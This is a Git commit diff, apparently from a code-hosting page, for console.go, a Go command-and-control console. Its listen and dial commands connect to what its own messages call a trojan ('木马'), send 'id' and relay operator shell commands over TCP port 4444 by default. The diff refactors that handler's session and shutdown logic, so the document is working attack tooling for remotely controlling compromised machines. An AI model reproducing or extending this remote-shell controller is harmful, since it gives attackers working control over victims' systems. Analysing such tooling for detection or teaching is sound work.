finish version 1.0
This commit is contained in:
parent
456bce1ac1
commit
55702d8f95
82
console.go
82
console.go
@ -11,7 +11,6 @@ import (
|
|||||||
"regexp"
|
"regexp"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
@ -36,16 +35,13 @@ type env struct {
|
|||||||
|
|
||||||
var env1 env
|
var env1 env
|
||||||
|
|
||||||
var lock sync.Mutex
|
|
||||||
|
|
||||||
// listener function
|
// listener function
|
||||||
func listener(network string, port int) {
|
func listener(port int) {
|
||||||
// Create a listener
|
// Create a listener
|
||||||
var addr net.TCPAddr
|
var addr net.TCPAddr
|
||||||
addr.IP = net.IPv4(127, 0, 0, 1)
|
addr.IP = net.IPv4(127, 0, 0, 1)
|
||||||
addr.Port = port
|
addr.Port = port
|
||||||
listener, err := net.ListenTCP("tcp", &addr)
|
listener, err := net.ListenTCP("tcp", &addr)
|
||||||
//listener, err := net.Listen("tcp", ":"+strport)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println("err = ", err)
|
fmt.Println("err = ", err)
|
||||||
return
|
return
|
||||||
@ -67,6 +63,8 @@ func listener(network string, port int) {
|
|||||||
|
|
||||||
exit := make(chan string, 1)
|
exit := make(chan string, 1)
|
||||||
receive := make(chan int)
|
receive := make(chan int)
|
||||||
|
sstop := make(chan string)
|
||||||
|
rstop := make(chan string)
|
||||||
|
|
||||||
//Get username
|
//Get username
|
||||||
conn.Write([]byte("id\n"))
|
conn.Write([]byte("id\n"))
|
||||||
@ -75,25 +73,44 @@ func listener(network string, port int) {
|
|||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
for {
|
for {
|
||||||
<-receive
|
select {
|
||||||
receiver(*conn)
|
case <-rstop:
|
||||||
fmt.Print(env1.username + " > ")
|
return
|
||||||
|
default:
|
||||||
|
<-receive
|
||||||
|
receiver(*conn)
|
||||||
|
fmt.Print(env1.username + " > ")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
for {
|
for {
|
||||||
sender(conn, exit, receive)
|
select {
|
||||||
|
case <-sstop:
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
sender(conn, exit, receive, sstop, rstop)
|
||||||
|
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
fmt.Println("waiting exit")
|
||||||
aaaa := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
|
aaaa := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
|
||||||
|
sstop <- "stop sender"
|
||||||
|
rstop <- "stop receiver"
|
||||||
fmt.Printf("command: %v\n", aaaa)
|
fmt.Printf("command: %v\n", aaaa)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 控制台函数
|
// 控制台函数
|
||||||
func console() {
|
func console() {
|
||||||
|
|
||||||
|
//set some defult env varieties
|
||||||
|
env1.lport = 4444
|
||||||
|
env1.rhost = "127.0.0.1"
|
||||||
|
env1.rport = 4444
|
||||||
|
|
||||||
reader := bufio.NewReader(os.Stdin)
|
reader := bufio.NewReader(os.Stdin)
|
||||||
for {
|
for {
|
||||||
fmt.Print("CSConsole > ")
|
fmt.Print("CSConsole > ")
|
||||||
@ -165,13 +182,11 @@ func execInput(input string) error {
|
|||||||
return nil
|
return nil
|
||||||
|
|
||||||
case "listen":
|
case "listen":
|
||||||
listener("tcp", env1.lport)
|
listener(env1.lport)
|
||||||
return nil
|
return nil
|
||||||
|
|
||||||
case "dial":
|
case "dial":
|
||||||
//dial("tcp", env1.rhost, env1.rport)
|
dial(env1.rhost, env1.rport)
|
||||||
dial("tcp", "127.0.0.1", 4444)
|
|
||||||
fmt.Print("dial ended")
|
|
||||||
return nil
|
return nil
|
||||||
case "exit":
|
case "exit":
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
@ -188,7 +203,7 @@ func execInput(input string) error {
|
|||||||
return cmd.Run()
|
return cmd.Run()
|
||||||
}
|
}
|
||||||
|
|
||||||
func dial(network string, host string, port int) {
|
func dial(host string, port int) {
|
||||||
//处理连接参数
|
//处理连接参数
|
||||||
var dialaddr net.TCPAddr
|
var dialaddr net.TCPAddr
|
||||||
var ipargs [4]int
|
var ipargs [4]int
|
||||||
@ -199,16 +214,19 @@ func dial(network string, host string, port int) {
|
|||||||
dialaddr.IP = net.IPv4(byte(ipargs[0]), byte(ipargs[1]), byte(ipargs[2]), byte(ipargs[3]))
|
dialaddr.IP = net.IPv4(byte(ipargs[0]), byte(ipargs[1]), byte(ipargs[2]), byte(ipargs[3]))
|
||||||
dialaddr.Port = port
|
dialaddr.Port = port
|
||||||
|
|
||||||
conn, err := net.DialTCP(network, nil, &dialaddr)
|
conn, err := net.DialTCP("tcp", nil, &dialaddr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Fprintln(os.Stderr, err)
|
fmt.Fprintln(os.Stderr, err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
|
defer fmt.Println("木马已断开")
|
||||||
fmt.Println("成功连接木马")
|
fmt.Println("成功连接木马")
|
||||||
|
|
||||||
exit := make(chan string, 1)
|
exit := make(chan string, 1)
|
||||||
receive := make(chan int)
|
receive := make(chan int)
|
||||||
|
sstop := make(chan string)
|
||||||
|
rstop := make(chan string)
|
||||||
|
|
||||||
conn.Write([]byte("id\n"))
|
conn.Write([]byte("id\n"))
|
||||||
receiver(*conn)
|
receiver(*conn)
|
||||||
@ -216,24 +234,36 @@ func dial(network string, host string, port int) {
|
|||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
for {
|
for {
|
||||||
<-receive
|
select {
|
||||||
receiver(*conn)
|
case <-rstop:
|
||||||
fmt.Print(env1.username + " > ")
|
return
|
||||||
|
default:
|
||||||
|
<-receive
|
||||||
|
receiver(*conn)
|
||||||
|
fmt.Print(env1.username + " > ")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
for {
|
for {
|
||||||
sender(conn, exit, receive)
|
select {
|
||||||
|
case <-sstop:
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
sender(conn, exit, receive, sstop, rstop)
|
||||||
|
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
aaaa := <-exit //尝试从通道中读取内容,若通道为空,则阻塞在此
|
||||||
aaaa := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
|
sstop <- "stop sender"
|
||||||
|
rstop <- "stop receiver"
|
||||||
fmt.Printf("command: %v\n", aaaa)
|
fmt.Printf("command: %v\n", aaaa)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func sender(conn *net.TCPConn, exit chan string, receive chan int) {
|
func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan string, rstop chan string) {
|
||||||
reader := bufio.NewReader(os.Stdin)
|
reader := bufio.NewReader(os.Stdin)
|
||||||
inp, err := reader.ReadString('\n')
|
inp, err := reader.ReadString('\n')
|
||||||
if len(inp) == 1 {
|
if len(inp) == 1 {
|
||||||
@ -313,8 +343,8 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int) {
|
|||||||
|
|
||||||
if strings.HasPrefix(inp, ":exit") {
|
if strings.HasPrefix(inp, ":exit") {
|
||||||
exit <- "server quit" // 3. 向通道内写入内容
|
exit <- "server quit" // 3. 向通道内写入内容
|
||||||
conn.Close()
|
conn.Write([]byte("exit\n"))
|
||||||
//fmt.Print(env1.username + " > ")
|
receive <- 1
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -355,8 +385,6 @@ func receiver(conn net.TCPConn) {
|
|||||||
}
|
}
|
||||||
fmt.Printf("%v", string(buf[:n]))
|
fmt.Printf("%v", string(buf[:n]))
|
||||||
if n != buflen {
|
if n != buflen {
|
||||||
fmt.Println(n)
|
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user